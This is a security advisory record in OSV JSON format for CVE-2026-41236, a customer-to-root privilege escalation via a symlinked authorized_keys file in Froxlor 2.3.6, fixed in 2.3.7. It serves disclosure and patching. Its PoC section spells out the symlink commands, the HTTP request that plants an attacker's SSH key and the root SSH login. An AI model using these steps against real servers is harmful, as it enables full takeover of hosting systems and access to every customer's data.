CVE-2026-41236: Froxlor/froxlor Froxlor Has Privilege Escalation Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mq5v-pxpm-8jw2",
  "modified" : "2026-06-09T11:54:22Z",
  "published" : "2026-05-29T15:40:23Z",
  "aliases" : [ "CVE-2026-41236" ],
  "summary" : "Froxlor has privilege escalation in SSH key synchronization via symlinked `authorized_keys` path",
  "details" : "### Summary\nFroxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to `~/.ssh/authorized_keys` under a customer-controlled home directory without verifying that the target path is not a symbolic link.\n\nIf an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace `~/.ssh/authorized_keys` with a symlink to `/root/.ssh/authorized_keys`. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access.\n\n### Details\nThe customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into `SshKeys::add()`:\n\n```php\n// customer_ftp.php:251-253\nif ($action == 'add' && Request::post('send') == 'send') {\n    $result = $log->logAction(USR_ACTION, LOG_INFO, \"added SSH-key\");\n    Commands::get()->apiCall('SshKeys.add', Request::postAll());\n}\n```\n\nOn the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:\n\n```php\n// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145\nif ($this->getUserDetail('shell_allowed') != '1') {\n    throw new Exception(\"You cannot add SSH keys because shell access is disabled for your account.\");\n}\n\n$ins_stmt = Database::prepare(\"\n    INSERT INTO `\" . TABLE_PANEL_CUSTOMERS_SSH .\"`.\n\");\nSettings::AddTask('rebuildnssusers');\n```\n\nLater, a root-owned cron path enters `SshKeys::generateFiles()` and derives the target path by simple string concatenation:\n\n```php\n// lib/Froxlor/Cron/System/SshKeys.php:52-64\n$sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh');\n$authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys');\nif (!file_exists($authkeysfile)) {\n    touch($authkeysfile);\n}\n```\n\nThe helper used here only normalizes the path string and does not resolve or reject symlinks:\n\n```php\n// lib/Froxlor/FileDir.php:376-392\npublic static function makeCorrectFile(string $file): string\n{\n    $file = str_replace('//', '/', $file);\n    $file = str_replace('\\\\', '', $file);\n    return $file;\n}\n```\n\nThe root-owned sync code then appends attacker-controlled SSH key material to the derived path:\n\n```php\n// lib/Froxlor/Cron/System/SshKeys.php:94-103\nfile_put_contents($authkeysfile, $userinfo['ssh-rsa'] . \"\\n\", FILE_APPEND | LOCK_EX);\nchown($authkeysfile, $userinfo['uid']);\nchgrp($authkeysfile, $userinfo['gid']);\n```\n\nBecause Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at `~/.ssh/authorized_keys` before the privileged synchronization step runs.\n\n\n### PoC\nAn attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.\n\nRelevant runtime prerequisites:\n\n- the attacker controls a customer-owned home directory on the target host\n- the attacking customer has `shell_allowed=1`\n- the attacker can submit SSH keys through the Froxlor panel\n- Froxlor's master cron runs with the intended root privileges\n\nComplete PoC flow:\n\n1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory:\n\n```bash\nmkdir -p ~/.ssh\nrm -f ~/.ssh/authorized_keys\nln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys\n```\n\n2. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:\n\n```http\nPOST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1\nHost: target.example\nContent-Type: application/x-www-form-urlencoded\nCookie: <authenticated customer session>\n\ncsrf_token=VALID_CSRF_TOKEN&\nsend=send&\ndescription=poc&\nftpuser=17&\nssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host\n```\n\n3. Wait for Froxlor's master cron to process the queued `REBUILD_NSSUSERS` task.\n4. Use the corresponding private key to authenticate as root:\n\n```bash\nssh -i id_ed25519 root@target.example\n```\n\nResult:\n\n- the root-owned cron task follows the symlinked `authorized_keys` path\n- the submitted public key is appended to `/root/.ssh/authorized_keys`\n- SSH access as `root` succeeds with the attacker's key pair\n\n### Impact\nThis is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "froxlor/froxlor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.3.6"
      }, {
        "fixed" : "2.3.7"
      } ]
    } ],
    "versions" : [ "2.3.6" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-mq5v-pxpm-8jw2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41236"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/froxlor/froxlor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/releases/tag/2.3.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T15:40:23Z",
    "nvd_published_at" : "2026-06-04T19:16:29Z"
  }
}